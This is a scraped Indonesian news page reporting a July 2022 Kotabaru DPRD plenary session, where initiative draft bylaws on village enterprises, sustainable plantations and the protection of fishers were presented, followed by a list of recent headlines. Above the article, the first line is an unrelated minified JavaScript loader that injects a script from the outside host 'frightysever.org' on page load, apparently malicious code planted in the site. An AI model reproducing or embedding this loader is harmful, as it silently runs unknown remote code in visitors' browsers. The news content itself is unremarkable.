(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Bapemperda Bahas Raperda Inisiatif Kalangan DPRD Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotabaru, kembali menggelar rapat paripurna masa persidangan ketiga rapat ke 12 Tahun 2021/2022, Senin (25/7/2022).

Adapun beberapa agenda pembahasan yang disampaikan oleh Badan Pembentukan Peraturan Daerah (Bapemperda) terkait penyampaian tiga Raperda inisiatif, yakni Badan Usaha Milik Desa (Bumdes).

Sebab menurut kalangan dewan, desa memiliki asal usul dan hak tradisional dalam mengatur dan mengurus kepentingan masyarakat setempat dan berperan mewujudkan cita-cita kemerdekaan berdasar UUD 1945.

Selain itu, raperda tentang Penyelenggaraan Perkebunan, perlunya dibuat Perda tersebut adalah untuk sistem perkebunan yang berkelanjutan.

 

Baca juga  : Kepulangan Jemaah Haji HSU Alami Keterlambatan

Rapat itu dipimipin oleh Wakil Ketua DPRD H Mukhni, dan penyampaian Raperda inisiatif dibacakan Suji Hendra.

Intinya, Raperperda yang diajukan untuk kepentingan dan melindungi masyarakat.

Dikatakan oleh Suji Hendra dalam kesempatannya bahwa, perumusan Raperda yang selanjutnya pokok pemikiran akan di dibahas dengan esksekutif dan akan disosialisasikan ke masyarakat.

“Sistem perkebunan yang tidak merusak, tidak mengubah, serasi, selaras, dan seimbang dengan lingkungan dan tunduk pada kaedah- kaedah alamiah. Kemudian, ada satu Raperda lagi tentang Perlindungan dan Pemberdayaan Nelayan. Perlu direalisasikan karena sesuai dengan tujuan nasional dan dirumuskan dalam UUD 1945,” katanya.

 

Baca juga  : Perbaiki Indikator Sub Kegiatan, Bappedalitbang Banjar Gandeng SKPD Mitra

Salah satu tujuannya adalah, terkait dengan pembangunan perikanan dan kelautan untuk meningkatkan kesejahteraan nelayan dan pembudidaya ikan di Kabupaten Kotabaru.

“Tentu hal itu menjadi perhatian kami di DPRD, yang pada dasarnya sebagai upaya dalam mensejahterakan para nelayan dan pembudidaya ikan di daerah kita,” tutup dia. (Kanalkalimantan.com/muhammad)

Reporter : Muhammad
Editor : Dhani


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

4 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

6 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

11 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

14 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

15 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.